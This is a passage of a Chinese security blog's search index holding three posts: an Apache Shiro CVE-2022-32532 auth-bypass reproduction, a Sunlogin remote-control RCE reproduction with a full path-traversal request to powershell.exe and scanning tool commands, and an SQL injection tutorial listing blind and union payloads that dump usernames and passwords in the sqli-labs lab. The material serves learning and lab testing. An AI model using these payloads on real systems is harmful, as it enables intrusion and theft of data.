版本或更高版本","categories":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://example.com/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"}],"tags":[{"name":"Struts2","slug":"Struts2","permalink":"http://example.com/tags/Struts2/"}]},{"title":"Shiro 身份认证绕过漏洞 CVE-2022-32532","slug":"Shiro-身份认证绕过漏洞-CVE-2022-32532","date":"2023-03-29T13:16:44.000Z","updated":"2023-03-29T13:19:53.225Z","comments":true,"path":"2023/03/29/Shiro-身份认证绕过漏洞-CVE-2022-32532/","link":"","permalink":"http://example.com/2023/03/29/Shiro-%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E-CVE-2022-32532/","excerpt":"","text":"前言123Apache Shiro 是一个强大且易用的 Java 安全框架,通过它可以执行身份验证、授权、密码和会话管理。使用 Shiro 的易用 API,您可以快速、轻松地保护任何应用程序 —— 从最小的移动应用程序到最大的 WEB 和企业应用程序。2022年6月29日,Apache官方披露Apache Shiro权限绕过漏洞(CVE-2022-32532),当Apache Shiro中使用RegexRequestMatcher进行权限配置,且正则表达式中携带"."时,未经授权的远程攻击者可通过构造恶意数据包绕过身份认证,导致配置的权限验证失效。 影响版本Apache Shiro < 1.9.1 漏洞原理123根据java正则表达式的特点,在正则表达式中元字符.是匹配除换行符之外的任何单个字符。新增Pattern.DOTALL模式后,正则表达式.就可以匹配任何字符包括换行符。在shiro-core-1.9.0.jar中存在一个RegExPatternMatcher类,提供请求路径匹配功能及拦截器参数解析的功能。这个类的Pattern存在带.的正则表达式匹配,如果存在/n或/r字符时,就会判断错误。 环境搭建直接使用vulfocus的镜像环境 启动靶场后直接访问给的地址就行 复现过程测试直接访问敏感地址访问被拒绝 我们抓一下get包,放在Repeater模块 使用%0a进行权限绕过%0a是换行符 访问成功返回success 修复建议建议尽快升级至Apache Shiro 1.9.1及以上版本","categories":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://example.com/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"}],"tags":[{"name":"Shiro","slug":"Shiro","permalink":"http://example.com/tags/Shiro/"}]},{"title":"CNVD-2022-10270/03672 向日葵RCE复现","slug":"CNVD-2022-10270-03672-向日葵RCE复现","date":"2023-03-29T13:05:36.000Z","updated":"2023-03-29T13:20:12.997Z","comments":true,"path":"2023/03/29/CNVD-2022-10270-03672-向日葵RCE复现/","link":"","permalink":"http://example.com/2023/03/29/CNVD-2022-10270-03672-%E5%90%91%E6%97%A5%E8%91%B5RCE%E5%A4%8D%E7%8E%B0/","excerpt":"","text":"前言向日葵是一款免费的集远程控制电脑手机、远程桌面连接、远程开机、远程管理、支持内网穿透的一体化远程控制管理工具软件。 于2022年2月5日和2022年2月15日,CNVD公开上海贝锐信息科技股份有限公司的向日葵远控软件存在远程代码执行漏洞(CNVD-2022-10270/CNVD-2022-03672),影响Windows系统使用的个人版和简约版,攻击者可利用该漏洞获取服务器控制权。 影响版本12向日葵个人版 for Windows <= 11.0.0.33向日葵简约版 <= V1.0.1.43315(2021.12) 漏洞级别高危 环境搭建在虚拟机里安装11.0.0.33的低版本向日葵 漏洞复现使用nmap或其他工具探测目标端口 在浏览器中访问ip+端口号+cgi-bin/rpc?action=verify-haras (端口号:每一个都尝试,直到获取到session值CID) Cookies添加拿到的CID后加上payload请求 http://192.168.52.133:49437/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+ whoami 手动复现完成 工具使用使用工具自带的扫描 xrkRce.exe -h ip -t scan 测试命令执行 批量检测python3 sunlogin-fuzz.py -t 192.168.52.128/25","categories":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://example.com/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"}],"tags":[{"name":"向日葵","slug":"向日葵","permalink":"http://example.com/tags/%E5%90%91%E6%97%A5%E8%91%B5/"}]},{"title":"常见sql注入手法总结与技巧(一)","slug":"常见sql注入手法总结与技巧-一","date":"2023-03-24T11:48:48.000Z","updated":"2023-03-29T13:20:40.806Z","comments":true,"path":"2023/03/24/常见sql注入手法总结与技巧-一/","link":"","permalink":"http://example.com/2023/03/24/%E5%B8%B8%E8%A7%81sql%E6%B3%A8%E5%85%A5%E6%89%8B%E6%B3%95%E6%80%BB%E7%BB%93%E4%B8%8E%E6%8A%80%E5%B7%A7-%E4%B8%80/","excerpt":"","text":"前言SQL 是 Structured Query Language 的缩写,中文译为“结构化查询语言”。SQL 是一种计算机语言,用来存储、检索和修改关系型数据库中存储的数据。 sql注入是最为常见也是破坏力很大的漏洞,它是因为开发在开发时没有对用户的输入行为进行判断和过滤,使得用户输入了恶意语句后传给了后端数据库进行相应的动作(如增删改查甚至写后门)。 根本产生原因:后端服务器接收传来的参数未经过严格过滤判断而直接进入数据库查询 所以在学习SQL注入前需要了解SQL基础语法 SQL注入根源分析如果后台sql语句为: 1$sql="SELECT * FROM users WHERE id=' $id ' LIMIT 0,1"; 如果我们传入id=1’ 那么如果后端没有经过过滤而是直接把我们传入的参数带进sql语句中,那么sql语句就会变成: 1$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1"; 我们传入的 ‘ 就会一块带入和前面的单引号进行闭合,导致原来后面的单引号就多余,而sql语句引号是必须成对出现的就会报错什么都查不出来,但如果我们在1’后面加入恶意语句并且把后面的原来的语句进行注解,就会造成sql语句会执行我们传入的恶意语句,实现注入。 12id = -1' union select database() #$sql="SELECT * FROM users WHERE id='-1' union select database() #' LIMIT 0,1"; -1表示查询一个不存在的id,是为了不影响后面我们的注入语句 #,–+,– 表示注释,把后面所有语句注释掉,这样就不会影响我们的注入语句 sql参数类型分类SQL注入按照参数类型分类可分为两种:数字型和字符型 数字型:select * from table where id=2 字符型:select * from table where id=’2’ 区别在于数字型不需要单引号进行闭合,而字符型一般需要通过单引号闭合。 判断类型方法: 构造payload为:id=1 order by 9999 --+ 如果正确返回页面,则为字符型;否则,为数字型 构造payload为:1 and 1=2 如果正确返回页面,则为字符型;否则,为数字型 常见sql注入手法这里先给出常用的payload,后面会使用到 1234567select database()select group_concat(table_name)from information_schema.tables where table_schema=database()select group_concat(column_name)from information_schema.columns where table_name='xxxx'select group_concat(字段名) from 表名 常见注入手法分类布尔盲注 时间盲注 union联合注入 报错注入 堆叠注入 二次注入 宽字节注入 通过sql注入写webshell 通过http header注入 … 盲注通常根据SQL注入是否有回显将其分为有回显的注入和无回显的注入,其中无回显的注入就是盲注。 我们的注入语句可能会让网页呈现两种状态,例如“查询成功”,“查询失败”,相当于true和false。也可能是一句“查询完成”或者什么都不说。虽然并不能直接得到数据库中的具体数据,但是SQL语句的拼接已经发生了,非法的SQL也执行了,SQL注入攻击就发生了,只是SQL注入的结果不能直接拿到。 盲注就是针对这种无回显的情况,盲注就像是爆破,在进行SQL盲注时,大致过程为: 12345678如果"数据库XX"的第一个字母是a,就返回“查询成功”,否则返回“查询失败”如果"数据库XX"的第一个字母是b,就返回“查询成功”,否则返回“查询失败”如果"数据库XX"的第一个字母是c,就返回“查询成功”,否则返回“查询失败”...如果"数据库XX"的第二个字母是a,就返回“查询成功”,否则返回“查询失败”如果"数据库XX"的第二个字母是b,就返回“查询成功”,否则返回“查询失败”如果"数据库XX"的第二个字母是c,就返回“查询成功”,否则返回“查询失败”... 通过这样不断的测试爆破,根据回显的“查询成功”和“查询失败”,判断出具体数据的每一位是什么,就可以完整的得到这个数据的具体值了。 布尔盲注下面使用sqli-labs靶场演示,less-8关 查询成功返回You are in…. 而查询失败则什么都不显示 返回You are in….相当于是“查询成功”,而什么都没显示则相当于是“查询失败”。所以我们构造的判断语句,可以根据页面是否有You are in….来充当判断条件。 要使用的sql函数: substr(要截取的字符串,从哪一位开始截取,截取多长) ascii()返回传入字符串的首字母的ASCII码 获取当前数据库名 12345678910111213141.判断当前数据库名的长度id=1' and length(database())=8 --+ //有回显判断到等于8时出现You are in....说明语句执行正确,当前数据库长度为8个字符2.判断当前数据库名//判断数据库的第一个字符id=1' and ascii(substr(database(),1,1))=115 --+//判断数据库的第二个字符id=1' and ascii(substr(database(),2,1))=101 --+//判断数据库的第三个字符id=1' and ascii(substr(database(),3,1))=99 --+...数据库为 security 获取当前库的表名 123456789判断每个表名的每个字符的ascii值//判断第一个表的第一个字符id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+//判断第一个表的第二个字符id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 --+...判断出存在表 emails、referers、uagents、users 获取表的字段 123456789猜测users表比较重要,先查询users表//判断第一个字段的第一个字符id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117 --+//判断第一个字段的第二个字符id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))=115 --+...users表中存在 id、username、password 字段 获取字段中的数据 12345//判断id字段的第一行数据的第一个字符id=1' and ascii(substr((select id from users limit 0,1),1,1))=100 --+//判断id字段的第二行数据的第二个字符id=1' and ascii(substr((select id from users limit 0,1),2,1))=100 --+... 手工去盲注太过繁琐,不建议手工注入,可借助工具或者写脚本跑 时间盲注时间盲注也叫延迟注入。在页面没有回显数据,也没有可以充当判断条件的地方,也没有报错信息,就可以考虑尝试时间盲注。时间盲注就是将页面的反响时间作为判断依据,来注入出数据库的信息。 以Less-9为例,当我们以id=1’ and sleep(5) –+ 进行注入,可以明显的感觉到页面返回响应的时间变长了,大概拉长了5秒左右,这说明构造的sleep(5)语句起作用了。我们可以把这个当作判断依据,配合if语句使用。 if(a,b,c) 如果a的值为true,则返回b的值,如果a的值为false,则返回c的值。 获取数据库名 123456//查询数据库名第一个字符id=1' and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+明显感受到页面延迟了几秒,说明数据库名字第一个字符是s。//查询数据库名第二个字符id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+... 与盲注类似,后面就是爆破字符,再爆表名,字段名,具体数据。 不建议手注,建议编写脚本或使用工具 union联合注入第一步,测试注入点,一些小技巧:利用引号,and 1=1 ,or 1=1 等判断是字符型还是数字型 正常返回判断是字符型 第二步,利用order by 查表得到到字段个数 查到3时正常返回但到4时报错说明当前表中只有三列 第三步,利用union select 1,2,3..判断回显位,如果有回显,找到回显位,回显位也就是回显页面有我们设置的1,2,3的位置 发现者里有2和3的回显位,在name和Password回显 第四步,爆库,爆表,爆字段名,爆值 为什么用-1 :因为-1大概率会返回空表,union select联合查询会返回一张表,就只会显示后面联合查询表 组合使用上面提到的常用的payload,放在页面回显位上 -1' union select 1,(select database()),3 --+ -1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3 --+ 爆出4个表,选择爆users表 -1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3 --+ 发现查询出了很多字段应该爆错了不是我们需要的那个表,可能其他库里也有users表,这样要加一条限制语句,查security库里的users表 -1' union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),3 --+ 爆字段的数据 -1' union select 1,(select group_concat(id,username,password) from users),3 --+ 12345-1' union select 1,(select database()),3 --+-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3 --+-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3 --+-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),3 --+-1' union select 1,(select group_concat(id,username,password) from users),3 --+","categories":[{"name":"SQL注入","slug":"SQL注入","permalink":"http://example.com/categories/SQL%E6%B3%A8%E5%85%A5/"}],"tags":[{"name":"SQL注入,安全基础","slug":"SQL注入-安全基础","permalink":"http://example.com/tags/SQL%E6%B3%A8%E5%85%A5-%E5%AE%89%E5%85%A8%E5%9F%BA%E7%A1%80/"}]}],"categories":[{"name":"取证","slug":"取证","permalink":"http://example.com/categories/%E5%8F%96%E8%AF%81/"},{"name":"java安全","slug":"java安全","permalink":"http://example.com/categories/java%E5%AE%89%E5%85%A8/"},{"name":"PHP","slug":"PHP","permalink":"http://example.com/categories/PHP/"},{"name":"POC","slug":"POC","permalink":"http://example.com/categories/POC/"},{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://example.com/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"},{"name":"SQL注入","slug":"SQL注入","permalink":"http://example.com/categories/SQL%E6%B3%A8%E5%85%A5/"}],"tags":[{"name":"计算机取证","slug":"计算机取证","permalink":"http://example.com/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%8F%96%E8%AF%81/"},{"name":"反序列化","slug":"反序列化","permalink":"http://example.com/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"},{"name":"volatility","slug":"volatility","permalink":"http://example.com/tags/volatility/"},{"name":"PHP代码审计","slug":"PHP代码审计","permalink":"http://example.com/tags/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"},{"name":"Joomla","slug":"Joomla","permalink":"http://example.com/tags/Joomla/"},{"name":"Tomcat","slug":"Tomcat","permalink":"http://example.com/tags/Tomcat/"},{"name":"CouchDB","slug":"CouchDB","permalink":"http://example.com/tags/CouchDB/"},{"name":"Weblogic","slug":"Weblogic","permalink":"http://example.com/tags/Weblogic/"},{"name":"Struts2","slug":"Struts2","permalink":"http://example.com/tags/Struts2/"},{"name":"Shiro","slug":"Shiro","permalink":"http://example.com/tags/Shiro/"},{"name":"向日葵","slug":"向日葵","permalink":"http://example.com/tags/%E5%90%91%E6%97%A5%E8%91%B5/"},{"name":"SQL注入,安全基础","slug":"SQL注入-安全基础","permalink":"http://example.com/tags/SQL%E6%B3%A8%E5%85%A5-%E5%AE%89%E5%85%A8%E5%9F%BA%E7%A1%80/"}]}